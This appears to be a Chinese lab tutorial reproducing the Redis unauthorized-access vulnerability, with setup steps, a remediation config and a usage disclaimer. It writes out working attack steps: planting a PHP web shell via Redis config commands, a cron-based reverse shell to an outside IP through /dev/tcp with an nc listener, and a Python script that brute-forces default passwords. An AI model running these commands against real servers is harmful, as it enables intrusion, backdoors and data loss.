漏洞简介
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
漏洞的产生条件有以下两点:
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务。
漏洞危害
- 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
- 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
- 如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
漏洞环境搭建
靶机环境搭建
- 配置redis服务环境变量
cp -r /redis-4.0.6/src /usr/local/
//启动redis-server和redis-cli不用每次进入安装目录(类似配置环境变量)
- 复制/redis-4.0.6/redis.conf到/etc/
- 配置/etc/redis.conf
# bind 127.0.0.1
protected-mode no
攻击机环境搭建
redis常用命令
redis-cli -h host -p port -a password//登陆
ping //PONG返回响应是否连接成功
echo //在命令行打印一些内容
info //返回redis的相关信息
config get dir/* //实时传储收到的请求
flushall //删除所有数据库中的数据库
漏洞复现
上传webshell
config set dir /var/www/html/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
//set webshell "<?php @eval($_POST[\'cmd\']); ?>"//上传一句话php木马
save
nc反弹shell
- 利用cron反弹shell
redis-cli -h 192.168.0.104
set xxx "\\n\\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.130/6666 0>&1\\n\\n"
config set dir /var/spool/cron
config set dbfilename root
save
- 攻击机利用nc监听6666端口
nc -lvp 666
利用"公私钥"认证获取root权限
POC
python2 redis未授权访问.py 192.168.2.147 6379
#coding=utf-8
#可用来测试是否存在未授权或弱口令的情况:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=[\'redis\',\'root\',\'oracle\',\'password\',\'p@aaw0rd\',\'abc123!\',\'123456\',\'admin\']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\\r\\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\\r\\n" %(pass_))
result = s.recv(1024)
if \'+OK\' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == \'__main__\':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)
漏洞修复
1、将redis.conf改成如下配置
bind 127.0.0.1
protected-mode yes
2、poc验证
python2 redis未授权访问.py 192.168.2.147 6379
参考链接
CSDN-Redis未授权访问漏洞复现
CSDN-Redis未授权访问漏洞利用总结
CSDN-Redis下载及安装(windows版)
CSDN-10.Redis未授权访问漏洞复现与利用
cnblogs-10.Redis未授权访问漏洞复现与利用
声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !